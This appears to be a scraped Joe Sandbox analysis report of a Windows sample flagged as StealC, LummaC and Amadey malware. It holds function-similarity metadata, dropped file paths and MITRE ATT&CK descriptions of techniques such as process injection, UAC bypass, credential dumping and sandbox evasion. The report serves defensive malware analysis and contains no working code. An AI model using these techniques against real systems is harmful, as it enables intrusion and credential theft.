API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 40c0f55c6d967503b6a615c8e8c06910ed31b885d591f528c19a68a4f040e112
Instruction ID: 23926d21741cf2cd6e35a83d84d478b7b95c3d37270c51d079090ecd68e807c0
Opcode Fuzzy Hash: 40c0f55c6d967503b6a615c8e8c06910ed31b885d591f528c19a68a4f040e112
Instruction Fuzzy Hash: 1531E771A1060A8FDB04CF2CC9416AA73FDEB89348F60413DD51AC7665EB31E659C791

Function 6CEFB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CEA0A4D), ref: 6CEFB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CEA0A4D), ref: 6CEFB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CEA0A4D), ref: 6CEFB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CEA0A4D), ref: 6CEFB67F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4c4e8185b006951c0c1afa1b4f30c3f2d280f0af9250fb2e33dccf9c6c1a4d97
Instruction ID: c316f5ac06c3a6451dd5757d7bb5edd3eb722bdf8ed423a189e9972a86cf562e
Opcode Fuzzy Hash: 4c4e8185b006951c0c1afa1b4f30c3f2d280f0af9250fb2e33dccf9c6c1a4d97
Instruction Fuzzy Hash: 0931A571E012158FDB10DF58C84465EBBB5EF81318F278569C816DB701EB31E916CBA1

Function 6CECF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CECF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CECF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CECF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CECF668

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 4117b27fcc2ea3666db868c3fc68a29b7d8be16659e5d32f8a64e73441187da4
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 84315E71B00214AFC714CF1DCDC0A9A77B5EB88358B24853CEA598BB04D635FD458B91

Function 6CEE26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEE26C1
free.MOZGLUE(?), ref: 6CEE26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEE26FF
free.MOZGLUE ref: 6CEE270D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 92021ca085a43354f89cb5c6038a3c825cc5d230a9b949c4cb58893bd447c9c7
Instruction ID: 888fa5f535a5af39c6ed86d9203ce3c4d8559bb5c6e1509bcfa23249cc70f13e
Opcode Fuzzy Hash: 92021ca085a43354f89cb5c6038a3c825cc5d230a9b949c4cb58893bd447c9c7
Instruction Fuzzy Hash: AAF0F9B2B012025BE7009E18DC84A5773B9EF6539CB310135EA16D7B01E331F918C692

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIIJDAAAAKFHIDAAAK

C:\ProgramData\DAECGCGH

C:\ProgramData\EGIDBFBF

C:\ProgramData\FBAKEHIEBKJJJJJKKKEG

C:\ProgramData\GIDBKKKKKFBGDGDHIDBGHIEBGD

C:\ProgramData\IDBAKKECAEGCAKFIIIDH

C:\ProgramData\JEBKJDAFHJDGDHJKKEGIJDAKJJ

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre